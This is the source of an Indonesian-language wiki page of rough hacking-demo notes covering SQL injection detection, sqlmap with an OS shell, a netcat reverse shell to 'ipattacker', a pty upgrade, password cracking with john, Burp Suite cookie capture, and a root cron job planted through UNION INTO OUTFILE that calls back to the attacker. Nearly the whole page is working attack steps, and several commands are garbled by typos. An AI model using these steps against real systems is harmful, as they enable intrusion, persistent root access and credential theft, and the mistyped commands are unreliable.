View source for Hacking: Orek-Orekan Demo Hacking

netdiscover

SQL Injection
- GET
- HOST

GET
index.php?id=1'
kalau ada ERROR ada celah

HOST
username admin
password "
ERROR ada celah SQL injection

Attack
sqlmap -u "url-yangadaerror" --data="POSTDATA=diambildaritemperdata" --batch -v 3 -level=6 --risk=5
sqlmap -u "url-yangadaerror" --data="POSTDATA=diambildaritemperdata" --batch -v 0 lakukanremoteshell

OS-shell> id, ls

OS=shell> whereis mc
OS-shell> /bin/nc.traditional ipattacker 9999 =e /bin/sh

di komuter attacker
nc -lvvp 9999


dapat session 
id 


pyhton -c 'impprt pty;pty.spwwan("/bin/bash/")'

exploit

./john


pakai burpsuite port 8080 di localhost
intercept off

authentikasi ulang dengan password yang salah

burpsuite dapat cookies & session
200 normal
300 direct
400 error / forbidden
i

* * * * * root /bin/nc.traditional ipattacker 5555 -e /bin/sh  --- ini utk memerinatahkan root exekusi nc

nmap localhost --- check apakah port sudah di buka


pakai burpsuite pakai Decoder >EDivafe AS ASCII HEX
copy ASCII HEX masukan ke 


pakai burpsuite pakai repeater
myusername=admin &mypassword=" 1=1 union elect 0x20,0x20 INTO OUTFILE * * * * * rootdst --&Submit=Login

check id di OS Shell nc id dapat password root


useradd domas
adduser
passwd